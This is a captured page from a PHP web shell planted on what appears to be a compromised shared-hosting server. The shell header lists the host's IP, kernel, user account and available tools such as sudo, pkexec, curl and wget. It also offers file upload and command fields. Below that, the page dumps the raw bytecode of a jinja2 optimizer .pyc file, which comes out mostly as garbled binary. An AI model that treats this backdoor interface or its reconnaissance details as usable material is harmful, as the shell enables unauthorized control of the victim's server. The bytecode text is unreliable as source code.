403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib/python3.9/site-packages/jinja2/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.9/site-packages/jinja2/__pycache__/optimizer.cpython-39.pyc
a

�`��@s8dZddlmZddlmZdd�ZGdd�de�ZdS)	a�The optimizer tries to constant fold expressions and modify the AST
in place so that it should be faster to evaluate.

Because the AST does not contain all the scoping information and the
compiler has to find that out, we cannot do all the optimizations we
want. For example, loop unrolling doesn't work because unrolled loops
would have a different scope. The solution would be a second syntax tree
that stored the scoping rules.
�)�nodes)�NodeTransformercCst|�}|�|�S)z^The context hint can be used to perform an static optimization
    based on the context given.)�	OptimizerZvisit)�node�environmentZ	optimizer�r�4/usr/lib/python3.9/site-packages/jinja2/optimizer.py�optimizesr	cs$eZdZdd�Z�fdd�Z�ZS)rcCs
||_dS)N)r)�selfrrrr�__init__szOptimizer.__init__csntt|�j|g|�Ri|��}t|tj�rjz*tjj|�|rB|dnd�|j	|j
d�WStjyhYn0|S)N�)�linenor)�superr�
generic_visit�
isinstancerZExprZConstZfrom_untrustedZas_constr
rZ
Impossible)r
r�args�kwargs��	__class__rrrs�zOptimizer.generic_visit)�__name__�
__module__�__qualname__rr�
__classcell__rrrrrsrN)�__doc__�rZvisitorrr	rrrrr�<module>s	

Youez - 2016 - github.com/yon3zu
LinuXploit